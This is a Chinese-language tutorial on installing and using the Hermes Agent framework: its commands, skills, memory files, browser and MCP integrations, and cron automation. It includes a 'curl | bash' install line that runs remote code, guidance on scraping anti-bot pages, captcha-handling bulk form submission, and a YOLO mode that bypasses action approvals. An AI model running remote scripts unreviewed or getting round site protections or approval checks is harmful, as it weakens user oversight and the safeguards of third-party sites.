乐于分享
好东西不私藏

万字教程:一文讲透Hermes-Agent的安装、技能与自动化

万字教程:一文讲透Hermes-Agent的安装、技能与自动化

半年前有人问我:你现在最看好的开源 AI 项目是什么?

我说了一堆,ChatGPT 插件、LangChain、AutoGPT……但没有一个让我真正觉得"这东西我能用起来"。它们要么太重(搭个环境要半天),要么太轻(就是一个聊天框的包装),要么就是文档漂亮但跑不起来。

直到我碰到了 Hermes Agent。

第一次看到它的时候,我脑子里冒出一个念头:这不是另一个 AI 框架,这是围绕 LLM 的一个操作系统。它有文件系统、有工具链、有记忆管理、有定时任务——它像一台服务器多过一个聊天机器人。

我做了一个决定:花 7 天时间,从零开始把它学透,每天写一篇实录。然后我写了 13 篇。

13 篇发完之后,有个读者跟我说:你这些文章我都看了,每篇都很有用,但要找某个命令或者某个配置的时候,得在 13 篇里翻来找去,你能不能写一个合集?

这就是这篇文章的由来。这是一个一站式参考。它把 Hermes 从概念到安装、从命令到 Skills、从记忆系统到 MCP 工具集成、从定时任务到安全防护的所有干货,按能力模块重新编排。你想找什么,这里都有。

全文分 11 个章节,从概念到底层实操。如果说 Hermes 是一台车,那这篇文章就是你的车主手册。

正篇开始。

一、Hermes 到底是什么——先搞懂再动手

AI Agent 不是聊天框

我们对 AI 经历了三个认知阶段。第一阶段是 ChatGPT 刚火的时候——"AI = 对话框"。你打字进去,它打字出来。第二阶段是工具调用,Cursor 和 Claude Code 让 AI 可以执行代码了。第三阶段才是 Agent。

Agent 和聊天框的核心区别只有一句话:LLM 在 Harness 里运行,而 Harness 给了它工具、权限、记忆和执行能力。

# 聊天框模式:输入→输出,一次结束response = llm.generate(prompt)print(response)
# Agent 模式:循环 + 工具调用while task_not_complete:    thought = llm.reason(current_state, available_tools)    if thought.decides_to_use_tool:        result = execute_tool(thought.tool_name, thought.tool_args)        current_state += result    else:        final_answer = llm.synthesize(current_state)        break

模型问,Harness 做(Model asks, Harness does)。

Harness 架构

┌─────────────────────────────────┐│           Harness               ││  ┌─────────────────────────┐    ││  │         LLM             │    ││  │  (推理 + 决策 + 规划)     │    ││  └────────┬────────────────┘    ││           │                     ││  ┌────────┴──────────────┐     ││  │  工具 + 上下文 + 权限 + 记忆 │   ││  │  · 文件读写            │     ││  │  · 代码执行            │     ││  │  · 网页搜索            │     ││  │  · 浏览器自动化         │     ││  │  · API 调用            │     ││  │  · 子代理编排           │     ││  │  · 上下文管理           │     ││  └────────────────────────┘    │└─────────────────────────────────┘

聊天框的假设是 AI 是工具,人类是使用者。Agent 的假设是 AI 是代理,人类是委托者——你给目标,它在 Harness 里自主规划、执行、纠错。

Agent 不是更聪明的聊天框,是有手有脚的执行体。

自我改进循环

大多数 AI 工具不会随着使用变好——它们每次都是从零开始。Hermes 会。

def execute_task(task):    result = harness.run(task)    if harness.tool_call_count > 5:        if similar_skill_exists(task):            update_skill(task, result)        else:            create_skill(task, result)    memory.compress_and_store(key_insights)    if message_count % 10 == 0:        reflect_and_update_profile()

每次复杂任务(超过 5 次工具调用),它会自动判断是否沉淀为可复用的 Skill。而且如果某个 Skill 执行出问题,Hermes 会尝试修改并改进它。

三层记忆系统

大多数 Agent 的问题是上下文越堆越多,越跑越慢、越跑越贵。Hermes 用了三层记忆,每层有硬性大小限制:

记忆层
文件
大小限制
存什么
用户画像
USER.md
~500 tokens
你的沟通风格、偏好、目标
项目记忆
MEMORY.md
~800 tokens
环境细节、跨会话事实
完整历史
SQLite 数据库
无限制
所有对话,可全文搜索

关键点:前两层有硬上限。满了就压缩——只保留最关键的信息。

一个 AI 系统的核心竞争力不是记住更多,而是知道该忘什么。

Honcho Dialectic

大多数 AI 工具对你的了解来自你明确告诉它的信息。Hermes 用 Honcho Dialectic,通过多轮推理自动构建用户画像:

  1. 1. 假设:查看之前的对话,猜你的沟通风格和工作方式
  2. 2. 验证:把假设和实际聊天记录对比,找出矛盾
  3. 3. 压缩:结果变为紧凑的画像,注入后续会话
hermes profile show

输出大概长这样:沟通风格直接,偏好具体案例,先理解原理再动手。

安全机制:不是事后才想的

课程的参考文档中有一个对比表格,值得直接摘出来:

维度
OpenClaw
Hermes
定位
执行导向的助手
成长导向的 Agent
强项
运行已知工作流
工作随时间改进
记忆
倾向积累长上下文
紧凑记忆 + 硬限制
技能
用户管理
自动创建/优化
适用
流程已知时
需要适应和进化时

这不是说 OpenClaw 不好——它是执行层的好工具。但如果你需要的不是一个"帮你做事的工具",而是一个"用越久越懂你、越做越好的 Agent",那 Hermes 的设计哲学更接近这个目标。

安全不是事后才想的

还有一个让我意外的地方——课程的最后一个 Section 全部在讲安全。讲师说盲目安装大量第三方技能是有风险的,因为技能可能携带糟糕的指令、提示注入或不安全的假设。

Hermes 的安全机制:

# 权限控制示例if action.risk_level > THRESHOLD:    require_approval(action)  # 危险操作需要审批# 快照保护if action.is_destructive:    create_snapshot()         # 破坏前拍快照

Hermes 通过更依赖自己创建或改进的技能来降低攻击面——因为你更信任自己写的代码,而不是从网上下载的。


Agent 不是更聪明的聊天框。Agent 是一个有操作系统、有工具链、有记忆管理的执行体。这是全文的认知地基。接下来我们从装一个能跑起来的 Hermes 开始。

二、零基础安装:从命令行到第一个对话

安装方式怎么选

Hermes 有 4 种安装方式:

方式
适合谁
安全级别
推荐场景
本地安装
个人用户
⚠️ 中
日常使用、开发测试
Docker 沙盒
实验党
✅ 高
想隔离 Agent 文件访问权限
独立设备
进阶玩家
✅ 高
Mac Mini / 树莓派 / 旧手机
VPS 服务器
7x24 在线党
⚠️ 中
需要随时远程访问

起步阶段本地装最快。跑熟了之后迁到 VPS 长期开机更省心——任何时候都能远程访问。

前提条件

Hermes 的一键安装脚本会自动处理 Python(UV)、Node.js、Ripgrep 和 FFmpeg。你只需要提前装好 Git:

# Macbrew install git# Ubuntu / Debiansudo apt install git# Windows(在 WSL2 内)sudo apt install git

Windows 用户注意:Hermes 不支持原生 Windows,必须通过 WSL2(Windows Subsystem for Linux)在 Ubuntu 环境里运行。

一键安装

curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash

脚本会依次完成:安装 Python 包管理器 UV → 安装 Node.js → 安装 Ripgrep → 安装 FFmpeg → 克隆 Hermes 仓库 → 安装依赖 → 生成默认配置文件。

安装完成后重载 Shell 配置:

source ~/.bashrc# 如果用的是 zsh:source ~/.zshrc

验证安装:

hermes --version

看到版本号输出,说明安装成功。如果遇到权限报错,检查 ~/.local/bin 是否在 PATH 中:

export PATH="$HOME/.local/bin:$PATH"# 然后把这行加到 ~/.bashrc 中持久化echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc

首次配置:连接 LLM

装好之后运行 hermes setup,会进入设置向导。有两个模式:快速设置(Quick Setup)几分钟搞定,只需要配置 LLM;完整设置(Full Setup)还可以配置 Telegram、工具、网关等。第一轮走快速设置就够了。两个模式可以后续随时通过 hermes setup 重新进入修改。

注意:在终端粘贴 API Key 时不会显示任何字符,这是正常的。我第一次配的时候在这里卡了半小时——以为自己没贴上。

hermes setup

配置参数快速参考:

参数
推荐值
说明
LLM Provider
DeepSeek
国内直连、便宜、中文好
终端后端
Local(默认)
性能最佳
最大迭代
60
复杂任务可设 90
压缩阈值
0.5
上下文窗口 50% 时开始压缩
会话重置
Activity Daily Reset
每天凌晨自动重置
不活动超时
1440 分钟
24 小时自动重置
浏览器后端
Less Chrome
无需额外 API Key
图片生成
跳过(后续再配)
需要额外 API Key

选择 LLM:

? Select LLM provider:  ▸ DeepSeek    OpenRouter    Anthropic    OpenAI Codex    ...

推荐直接选 DeepSeek。国内直接访问,注册就有额度,价格极其便宜,中文支持好。

? Enter your DeepSeek API key:  ▸ [粘贴 API Key]

注意:在终端粘贴 API Key 时不会显示任何字符,这是正常的。提前复制好 Key,直接按鼠标右键(或 Shift+Insert)粘贴,回车即可。

支持的模型速览:

模型
特点
怎么配
DeepSeek
便宜、中文好、国内直连
直接选 DeepSeek 配 API Key
通义千问
阿里系,国内稳定
通过 API 或 Coding Plan
Kimi
长上下文能力突出
通过 API 或 Coding Plan
Claude Sonnet
Agent 表现最稳定
通过 OpenRouter 或 Coding Plan

配置微信(可选但推荐)

? Select messaging channel:  ▸ WeChat (recommended)    Telegram    Discord    ...

扫码登录即可。以后在微信上给 Hermes 发消息,它在后台执行并把结果回复给你。

验证命令

hermes                        # 启动交互式 CLIhermes model                  # 查看当前模型hermes tools                  # 查看可用工具hermes gateway settings       # 配置网关(微信需要)hermes gateway                # 启动网关hermes update                 # 更新 Hermeshermes version                # 查看版本hermes dashboard              # 启动 Web 仪表盘

仪表盘地址:http://localhost:8080

重要:退出 Hermes CLI 后,直接再输 hermes 可能会报错。先重载 shell 配置再运行:

source ~/.bashrchermes

Windows 用户:WSL2 安装

# 以管理员身份打开 PowerShellwsl --install

安装完成后重启,验证 WSL 版本:

wsl -l -v

确保版本为 2。如果是版本 1:

wsl --set-version Ubuntu 2

然后在 WSL2 终端内执行前面的一键安装和配置即可。


安装清单:Git 就绪 ✓ → 一键安装 ✓ → Shell 重载 + 版本验证 ✓ → LLM 配置 ✓ → 命令体验证 ✓。Hermes 现在运行在你的终端里。接下来我们摸清它的骨架——命令体系和会话管理。

三、骨架与指挥:命令、仪表盘与会话管理

命令分三层:终端命令(shell 中运行)、斜杠命令(CLI 中运行)、会话管理。

层级
命令
作用
终端
hermes
启动 CLI 对话
终端
hermes model
切换模型
终端
hermes tools
查看/启用工具
终端
hermes dashboard
启动 Web 仪表盘
终端
hermes update
更新到最新版本
CLI
/help
万能入口,列出所有命令
CLI
/session new
开始新会话
CLI
/session compress
压缩上下文节省 Token
CLI
/session save
保存当前对话快照
CLI
/session history
查看历史对话
CLI
/session resume
恢复已保存会话
CLI
/session fork
从某处分叉出新会话
CLI
/yolo
开启 YOLO 模式
CLI
/reasoning
设置推理级别
CLI
/model
CLI 内切换模型
CLI
/attach
附加本地文件

任何时候忘了命令,输入 /help

会话管理

会话是 Hermes 里最核心的概念,直接关系到 Token 开销和 Agent 表现。不管理会话 = 又贵又笨。

# 完成一个话题后,开始全新的对话/session new# 查看当前 Token 用量/session status# 输出:提示Token 24,000 | 总Token 94,000 | 会话限制 92%# Token 过高时压缩上下文/session compress# 压缩后 ~13,000 Token,节省 46%

经验法则:一个独立任务完成后就 /session new

保存和恢复重要对话

/session save# 查看历史/session history# 恢复某条记录/session resume {session_id} {标题}

Token 消耗参考

一页中文书 ≈ 500 Token一篇 2000 字文章 ≈ 1000 Token简单问答 ≈ 2000-5000 Token复杂任务 ≈ 10000-30000 Token

DeepSeek 定价:输入 0.5 元/M Token,输出 2 元/M Token。一次普通对话几分钱。但不做会话管理让上下文无限膨胀,一天也能烧掉几十块。

核心原则:完成一个任务就新建会话。Token 超过 3 万就压缩。压缩 ≠ 清除——压缩后上下文还在,只是被总结了。重要对话先 /session save 再压缩。

分叉会话

/session fork:先保存当前对话,然后分叉。在分支里试另一个方向,原来的对话不受影响,两条路的结果都能保留。

斜杠命令

/info           # 当前会话信息/profile        # 当前配置文件和主目录/config show    # 查看当前配置/model          # 切换模型/provider       # 切换提供商/persona        # 修改个性设定/attach         # 附加本地文件或图片/copy           # 复制到剪贴板

推理设置

级别
Token
速度
适合
off
最低
最快
简单问答
low
日常对话
medium
中等
适中
日常推荐
high
较高
较慢
复杂任务
x-high
很高
很慢
不推荐
/reasoning          # 查看当前级别/reasoning medium   # 设为中等

YOLO 模式

默认权限确认:[1]允许 [2]允许全部 [3]拒绝 [4]拒绝全部 [5]切换YOLO

/yolo    # 开启/关闭

Dashboard

hermes dashboard

地址 http://localhost:8080。几个值得用起来的功能:

Analytics(分析):每天 Token 消耗的明细。哪个会话烧了多少、哪天超标了,一目了然。建议第一周每天看一次,建立对 Token 消耗的直觉。

Cron 定时任务:可以在 Dashboard 里直接管理定时任务,查看执行历史、暂停或删除。

模型切换:在 Dashboard 里切换模型比命令行直观——下拉菜单选一个就行了。

Skills 管理:查看当前安装了哪些技能、启用/禁用。


会话管理决定了 Hermes 好不好用、贵不贵。很多人装了 Agent 之后觉得也就那样,80% 的原因是没做会话管理。接下来我们研究 Hermes 最核心的能力——Skills 系统。

四、Skills 系统:装技能 → 写技能 → 调权限

Skill 是什么

Skill = Markdown 文件(指令描述)+ 可选脚本(自动化执行)+ 可选 API Key(外部服务)。

Skill 是可复用的工作流,告诉 Agent 怎么做一件事。它不是代码,是指令说明书。

内置技能总览

Hermes 预装了约 80 个技能。运行 /skills 查看所有已安装的。

类别
示例
创意
Architecture Diagram、Art Design
数据科学
Jupyter Live Kernel
DevOps
Webhook Subscription
GitHub
Repo Check、Issue Management
MCP
Model Context Protocol
笔记
Obsidian
生产力
Browser Automation、Screenshot
研究
arxiv(推荐)

推荐优先尝试的技能

开箱即用(内置,无需安装):

技能
一句话
使用场景
arxiv
搜索学术论文
搜最新论文
Browser
网页浏览和截图
打开链接总结内容
plan
复杂任务拆解
把大任务拆成步骤计划
Obsidian
读写个人知识库
把分析记到笔记里

推荐安装的官方技能:

技能
场景
安装命令
duckduckgo-search
免费网页搜索
hermes skills install official/research/duckduckgo-search
scrapling
抓取反爬页面
hermes skills install official/research/scrapling
docker-management
管理 Docker
hermes skills install official/devops/docker-management
jupyter-live-kernel
Python 数据分析
hermes skills install official/data-science/jupyter-live-kernel

技能管理命令

/skills                 # 打开技能中心/skills search 关键词    # 搜索技能/skills list            # 列出已安装技能/skills install 名称     # 安装新技能/skills check           # 检查技能状态/skills update          # 更新技能/skills audit           # 审计技能(安全检查)/skills uninstall       # 卸载技能

Skill 的工作原理

以 arxiv 论文搜索为例。Skill 目录结构:

skills/research/├── skill.md           # 技能描述文件(核心)└── scripts/    └── arxiv.py       # 辅助脚本(可选)

skill.md 的核心内容:

Name: arxiv-researchDescription: 从 arxiv 免费 API 搜索和检索论文Version: 1.0.0## Instructions1. 使用 curl 访问 arxiv API 端点2. 搜索关键词格式: search_query=all:{query}3. 解析 XML 返回结果4. 提取: 标题、作者、摘要、链接5. 用 Python 格式化输出## Commands- 搜索: curl "http://export.arxiv.org/api/query?search_query=..."- 解析: python scripts/arxiv.py parse --input {xml_file}

当你说"搜索 LLM 上下文窗口管理的最新论文"时,Hermes 会:

  1. 1. 判断应该用 arxiv 技能
  2. 2. 读取 skill.md 的指令——去哪搜、用什么命令、如何解析
  3. 3. 执行 curl 搜索 → Python 解析 → 结构化输出
  4. 4. 返回最新论文列表 + 核心概念解释

SKILL.md 结构详解

一个 Skill 就是一个文件夹,里面必须有一个 SKILL.md 文件。由两部分组成:YAML 元数据头 + Markdown 正文。

---name: aihotdescription: AI HOT 中文 AI 资讯查询 Skill。当用户想知道"今天 AI 圈有什么"、"AI 日报"、"AI 热点"、"最近 AI" 等任何中文 AI 资讯查询时使用。---

description 不是笼统说「查询 AI 资讯」,而是把用户会说的所有触发词全列出来。Agent 拿到一句话,会跟每个 Skill 的 description 做匹配,谁的关键词命中多就用谁。description 写得越具体,Agent 越容易在关键时刻想起你这个 Skill。

Hermes 加载 Skill 分三步走:启动时只加载 name 和 description(约 100 tokens 每个),任务匹配时才加载完整的 SKILL.md,需要时再读取引用文件。这种渐进式加载保证上下文不被撑爆。

冷知识:目录名必须是 kebab-case(小写+连字符),因为目录名就是安装标识。建错了 Hermes 根本找不到它。

Skill 目录结构

my-skill/├── SKILL.md          # 主文件(必需)├── scripts/          # 可执行脚本,Agent 按需运行├── references/       # 详细文档,超过 500 行时拆分├── templates/        # 输出模板└── assets/           # 静态资源

scripts/ 放 Agent 可以执行的脚本。references/ 放 SKILL.md 正文放不下的大段参考。只有主文件在匹配时加载,子目录是 Agent 判断需要时才读的。

两种创建方式

方式一:自动创建

Hermes 发现一个任务超过 5 次工具调用,就会自动判断是否做成 Skill。实战例子——我说「创建过去 72 小时的 AI 新闻简报,每周两次,输出 Markdown,通过微信发给我」。它自己做了 5 件事:

  1. 1. 检查现有技能有没有重复的
  2. 2. 创建新的 SKILL.md(含抓取+过滤工作流)
  3. 3. 创建 Cron 作业(每周两次)
  4. 4. 生成播客音频
  5. 5. 配置微信送达

全程我只说了一句话。生成的 SKILL.md 我打开看了,工作流写得比我自己写还清楚。

实战:GitHub Trending 微信播报机器人

用自然语言搭建一个完整的工作流。先教会 Agent 做这件事:

帮我写一个流程,包含 4 步:1. 用 curl 抓 https://github.com/trending2. 从 HTML 里提取前 5 个仓库:名字、简介、星数3. 把每个仓库的简介翻译成中文,写一句话摘要4. 把结果整理成 Markdown 输出现在跑一遍给我看看效果。

不满意直接告诉它:

摘要再短一点,每个仓库一句话就够。星数用 ⭐ 表情显示。

满意之后沉淀为 Skill:

完美。把这整个流程存成一个 Skill,命名为 "github-trending-zh"。

再接上微信推送:

帮我配置微信通道推送。

Hermes 自动启动网关配置向导,选择 Weixin → 扫码登录:

  1. 1. 向导从 iLink API 申请一个二维码
  2. 2. 二维码显示在终端
  3. 3. 打开手机微信 → 扫一扫 → 确认登录
  4. 4. 向导自动保存凭据

设置定时推送:

每天早上 9 点(北京时间),跑一次 github-trending-zh,结果通过微信发给我。

Agent 回复:

✓ 已加入定时任务   Cron 表达式:0 9 * * * (Asia/Shanghai)   投递目标:微信   下次执行:明天 09:00:00

方式二:手动创建

mkdir -p ~/.hermes/skills/data/daily-quote

SKILL.md 正文建议四节核心章节:

  • • When to Use:什么情况触发(含关键词)
  • • Procedure:分步执行说明
  • • Pitfalls:已知失败模式和修复
  • • Verification:如何确认执行正确

正文不超过 500 行。超过的拆到 references/。

条件激活(进阶):

metadata:  hermes:    requires_toolsets: [web]    fallback_for_toolsets: [browser]

blueprint 模式——把 Skill 标记为可定时运行的自动化任务:

metadata:  hermes:    blueprint:      schedule: "0 9 * * *"      deliver: weixin      prompt: "每天早上 9 点执行一次"

自我改进机制

大约每 10 条消息后,如果模式重复——同一个流程反复走、同一个工具反复调——Hermes 就会检查现有 Skill 是否需要更新。

Hermes 的 Skill 生态分四级:Built-in(预装)、Optional(可选安装)、Community(社区)、Lop Hub(待安装)。你自己写的属于 Built-in 级别,优先级最高。

调试指南

/skills                    # 查看所有已安装 Skillskill_view("my-skill")    # 查看 Skill 完整内容/cron                      # 检查 Cron 注册状态

常见问题:看不到 Skill → 检查目录名是不是 kebab-case、路径是否在 ~/.hermes/skills/ 下。能看到但不加载 → 问题在 description。能加载但执行出错 → 检查 Procedure 步骤是否完整。

分享到 Skill Hub:

/skill-install https://github.com/your-name/your-skill

Skill 不是代码,是写给 Agent 看的说明书。说明书写得清楚,Agent 才能干得漂亮。接下来我们让 Agent 记住你是谁。

五、让 Agent 记住你:记忆与个性化配置

Hermes 用三个文件管理它对你的了解:

文件
用途
大小限制
谁管理
user.md
你的画像
~500 Token
Agent 自动更新
memory.md
Agent 的工作笔记
随需而变
Agent 自动更新
soul.md
Agent 的个性
自定义
你手动修改为主

关系链:user.md → 你是谁 → 定义角色认知 → memory.md → Agent 知道什么 → 定义回答质量 → soul.md → Agent 怎么说话 → 定义交互体验。

user.md:给 Agent 做入职培训

# user.mdUsername: 启明Language: 中文,偶尔英文职业: AI 自动化工程师兴趣: LLM、AI Agent、自动化工作流偏好: 不喜欢泛泛而谈,要具体案例习惯: 写公众号文章时先列大纲

文件路径:

~/.local/share/hermes/memory/user.md   # Linux/Mac/data/hermes/memory/user.md            # Docker/VPS

一次入职培训大概需要 10 分钟。直接在对话中告诉 Agent 你的信息,它会自动更新 user.md。

memory.md:Agent 的工作笔记

# memory.md## 项目- 当前工作: 7天 Hermes Agent 系列教程- Python 版本: 始终使用 3.12## 工作流偏好- 写公众号文章时,先列大纲再展开- 代码示例需要中文注释## 学到的事情- 启明喜欢对比表格而不是长段描述- 回复要简短、直接、有实操步骤

这个文件由 Agent 自己维护。每次你纠正了它什么、它发现了什么有用的信息,都会自动记到这里。

soul.md:最值得定制的一个文件

它定义了 Agent 的人格——怎么跟你说话、用什么语气、行为边界是什么。

# soul.md你是一个懂技术但不说教的 AI 助手。你说话直接、简洁,不喜欢废话。你对 AI 自动化充满热情,但从不贩卖焦虑。你可以在观点上有倾向性,不必总是中立。当你不知道答案时,直接说不知道,不要编。
# 找到 soul.md~/.hermes/soul.md

你可以在对话中直接告诉 Agent "你以后回复简短一点",它会自动调整。也可以从社区找 soul.md 模板改改就用。

Honcho Dialectic:Agent 怎么学会理解你

user.md 存的是你明确告诉 Agent 的信息。但 Hermes 还有一个 Honcho Dialectic 机制,让它能主动推算出你的偏好。

它不是一次生成你的画像,而是通过多轮推理:

  1. 1. 假设:Agent 回顾之前的对话,猜你的沟通风格和工作方式
  2. 2. 验证:把假设和实际聊天记录对比,找出矛盾
  3. 3. 压缩:结果变成一份紧凑的用户画像,注入后续会话
hermes profile show

输出:沟通风格直接,偏好具体案例,先理解原理再动手。

即使用户没有明确告诉 Agent 自己的偏好,Agent 也会在对话过程中主动学习。用得越久,它越了解你。

记忆更新机制

Agent 默认每 10-20 条消息触发一次回顾,判断当前对话中有没有值得记住的内容。如果你纠正了它的某个说法、告诉它一个新偏好——这些信息会在下一次回顾中被写入记忆文件。

查看和管理记忆

hermes memory setup           # 初始化记忆系统hermes memory show            # 查看当前记忆hermes memory search "关键词"  # 搜索历史会话

实战:验证记忆系统

记住我要 CSV 格式输出,中文,摘要要简短。另外记住,我默认的项目语言是 Python。

退出 CLI,重新打开 hermes,问:

我偏好的输出格式、语言和项目语言是什么?

如果它答对了——记忆在工作。

清理记忆

cat ~/.hermes/memories/MEMORY.mdcat ~/.hermes/memories/USER.md# 编辑后保存,下次会话生效# 从数据库层面彻底删除sqlite3 ~/.hermes/state.db "DELETE FROM messages WHERE content LIKE '%关键词%'; VACUUM;"

进阶:Profile 隔离

工作和生活各一个 Agent,记忆完全隔离:

~/.hermes/profiles/work/       # 工作秘书,专业严谨~/.hermes/profiles/personal/   # 生活助手,随意朋友语气
hermes profile switch workhermes profile switch personal

记忆系统是 Hermes 区别于普通聊天工具的核心竞争力。前三天解决了能不能用,今天解决了好不好用。接下来我们让 Agent 有手有脚——连上浏览器、数据库和 CLI。

六、MCP 与工具集成:连数据库、浏览器、CLI

前 5 章我们学会了跟 Agent 聊天、装系统、下命令、装技能、调记忆。Agent 越来越懂你,但它仍然活在封闭世界里。

今天让 Hermes 走出这个结界。两个武器:浏览器自动化(操作网页)和 MCP(连接外部服务)。

没有工具的 Agent 先想一个问题

到今天为止,Hermes 的能力边界在哪?

能力
有/无
跟你聊天
执行 shell 命令
搜索网页
操作浏览器
读写文件
连数据库
调 API
跨服务协作

Hermes 可以跟你聊数据库,但不能直接查数据库。你跟它说"帮我查一下上周的用户注册量",它只能回一个建议。

浏览器自动化

Hermes 内置了完整的浏览器操作能力,基于 Playwright:

操作
说明
browser_navigate
打开任意网页
browser_snapshot
获取页面无障碍树快照
browser_click(ref)
点击指定元素
browser_type(ref, text)
在输入框打字
browser_press(key)
按键盘键
截图 + 视觉分析
用视觉模型分析页面

实操 1:GitHub Trending

帮我看一下 GitHub Trending 今天排前面的仓库

流程:打开 github.com/trending → 读取仓库列表 → 返回格式化结果。

跟 curl 的区别?GitHub Trending 是 JavaScript 动态渲染的,curl 拿不到完整数据。浏览器能等 JS 跑完再截图,拿到的是你眼睛看到的东西。

实操 2:小红书内容读取

/browser connect

很多网站没有开放的 API。但浏览器自动化不需要 API——只要你在浏览器里登录过,Hermes 就能连接到你的真实 Chrome,复用登录态。

打开我的小红书首页,看看推荐流里有什么

流程:打开小红书首页 → 读取推荐流帖子列表 → 提取标题、点赞数、内容摘要 → 返回整理结果。

实操 3:12306 自动抢票

这是最痛的真实场景之一。传统脚本抢票有个致命问题:12306 一更新页面元素 ID,脚本就废了。WebAgent 的思路完全不同——它不依赖固定选择器,而是像真人一样"看"页面:识别蓝色的"登录"按钮、"查询车票"输入框,哪怕页面改版,只要按钮视觉上还是那个按钮,它就能点。

给 Hermes 的指令:

帮我查 6 月 25 号从上海到北京的火车票,二等座,有票直接下单,没票帮我提交候补

Hermes 的完整流程:

  1. 1. browser_navigate("https://www.12306.cn")
  2. 2. browser_snapshot() → 找到登录入口
  3. 3. browser_type → 输入账号密码(或者用已登录的浏览器)
  4. 4. browser_click → 点击"车票预订"
  5. 5. browser_type → 输入出发地、目的地、日期
  6. 6. browser_click → 点击"查询"
  7. 7. browser_snapshot() → 读取结果列表
  8. 8. 找到二等座 → 点击"候补"
  9. 9. 确认提交

对比传统方式:Selenium 脚本元素 ID 一换就崩;WebAgent 视觉识别,页面改版也能适应。这不是说 Hermes 能 100% 抢到票——12306 有极复杂的反爬机制。但思路是成立的:用 AI 的视觉理解能力代替固定的 CSS 选择器,让自动化更抗变化。

实操 4:生产级数据——500 个表单 2.3 小时跑完

海外开发者 Mark 用 Hermes Agent 做了一个压力测试(Markaicode, 2026):让 Hermes 批量提交 500 个订单表单,每个表单包含多页流程、文件上传、验证码处理。

结果:

  • • 500 个表单,2.3 小时跑完
  • • 平均 16.5 秒一个
  • • 首次成功率 94%

对比传统方法:

指标
Hermes Agent
纯 Playwright
Selenium
成功率
94%
~70%
~8%
单次耗时
16.5s
12s
21.8s
UI 变更适应
自然语言改指令
修选择器
修选择器

纯 Playwright 更快(12 秒 vs 16.5 秒),但一次 UI 更新就崩。Hermes 的优势不是速度,是抗变化能力——页面改了,你只需要改一句话描述,不用翻代码找选择器。

MCP:连数据库也能干

对于有 API 的外部服务,MCP 是更直接的方式。

实操:让 Hermes 连上 Supabase 数据库。

帮我连上我的 Supabase 项目,项目地址是 https://xxx.supabase.co,这是 API Token:sbp_xxxxxxxxxxxx

Hermes 自动写入配置 → 重启网关 → 生效。

然后:

把我桌面的 leads.csv 导入数据库。

Hermes 读取 CSV → 自动创建表 → 插入数据。

我和 Emma 谈过了,她现在是客户了。

Hermes 查询数据 → 找到 Emma → 更新状态。

全程不需要写一行 SQL。

四种工具的选择:

方式
适用场景
Token
浏览器自动化
无 API 的网站、视觉操作
CLI
已有命令行工具
最低
MCP
连接数据库/外部 API
最高
Skills
流程化任务

能用浏览器的用浏览器,能用 CLI 的用 CLI,CLI 搞不定的上 MCP。

Hermes + Claude Code 双栈架构

如果需要代码级操作,Hermes 可以通过 Skill 调用 Claude Code 作为子代理:

Hermes(24 小时在线)  ├── 接收指令(微信/CLI)  ├── 拆解需求  ├── 记忆力(记住项目上下文)  ├── Cron 调度  └── 结果验证 + 交付          ↓ MCPClaude Code(编码执行体)  ├── 读项目文件  ├── 写代码、改文件  ├── 跑测试  └── git 操作

从想法到上线:Hermes 收到指令 → 调 Claude Code → 搭项目骨架 → 推送到 GitHub → GitHub webhook 触发 Vercel → 构建并部署。一条 30 秒的流水线。

安全边界

让 Agent 连上外部系统很爽,但也带来了风险。

原则
说明
优先官方来源
官方 MCP 服务器经过审核
警惕随机来源
GitHub 上的 MCP 可能有提示注入
读写分离
连数据库尽量给只读 Token
测试先行
先在测试环境验证

Hermes 对破坏性操作有内置审批机制。当 Agent 要执行 push、delete、DROP TABLE 这类操作时,会弹窗确认。


浏览器自动化的三个关键词:操作(不是建议而是直接干活)、抗变化(视觉识别代替固定选择器)、全场景(从刷小红书到抢票到批量填表单)。

有工具的 Agent 和没有工具的 Agent,是物种级别的差异。接下来我们把所有能力串起来——让 Hermes 自动干活。

七、自动化实战:Cron 定时任务与真实工作流

装系统、敲命令、配技能、调记忆、连浏览器、接数据库——这些能力不是线性叠加的。把它们串起来,才是 Agent 真正发挥价值的时候。

一句话创建 Cron 任务

Hermes 内置了 Cron 调度器。创建定时任务不需要懂 cron 表达式。直接告诉 Agent:

每天早上 8 点,帮我查一下 AI 圈今天有什么值得看的新消息,整理成简报发到我的微信。

Hermes 会自动:解析时间 → 生成 Cron 表达式 0 8 * * * → 识别任务 → 关联所需工具 → 确认交付目标。

✓ Created cron job "daily-ai-briefing"  Schedule: 0 8 * * *(每天 8:00)  Delivery: WeChat  Next run: tomorrow at 8:00

但想让输出靠谱,提示词必须写好

Cron 任务每次在新会话中执行,没有之前的对话记忆。提示词必须包含 Agent 需要的一切信息。

最终用的提示词:

你是一个每日 AI 资讯简报生成器。这是定时任务,不需要打招呼,直接出内容。搜索过去 24 小时内的 AI 相关资讯,找 3-5 条值得关注的。每条包含:  - 标题(加粗)  - 一句话摘要  - 来源链接信息来源优先级:  1. GitHub Trending(AI 相关仓库)  2. Hacker News 热帖(AI 话题)  3. 36氪/虎嗅 RSS(AI 相关文章)  4. 通用网页搜索格式要求:简洁的 Markdown,emoji 分段头。如果没有值得关注的新内容,回复 [SILENT]。

关键细节:

要素
为什么重要
"这是定时任务,不需要打招呼"
避免 Agent 开头写"你好!"之类的废话
搜索过去 24 小时
防止搜到旧新闻
3-5 条
限制数量,控制 Token 成本
信息来源优先级
指导搜索路径,提高命中率
[SILENT]
无新内容时不推送空消息,不浪费钱

用 CLI 确认:

hermes cron create "0 8 * * *" "你是一个每日 AI 资讯简报生成器..." --name daily-briefing --deliver weixin

真实的输出

第一天早上,微信准时收到:

📡 每日 AI 资讯简报🤖 开源动向[今日 AI 开源项目动态摘要]🔗 来源链接🧠 Agent 框架[今日 AI Agent 行业动态摘要]🔗 来源链接

每条都是 Agent 自己去搜、读了、选了、写的。消息不长,但省掉了我每天早上刷信息流的 10 分钟。

跑了一周的真实感受:

好的:

  • • 每天早上不用手动刷信息流了。微信通知到了就是今天值得看的,没收到就是昨天没大事
  • • 覆盖面比以前广。我以前只看 GitHub Trending,Agent 会同时扫 HN、36氪、RSS,有些遗漏的消息是它替我发现的
  • • 坚持成本为零。手动模式"偶尔想起来看一下",Cron 模式"每天自动送到"。习惯不需要意志力

不好的:

  • • 输出质量不稳定。有时候选的话题很准,有时候偏了(比如把产品发布新闻当作技术突破)
  • • 偶尔误判时效。搜到的是两天前的文章但 24 小时内被重新分享,Agent 会当新的
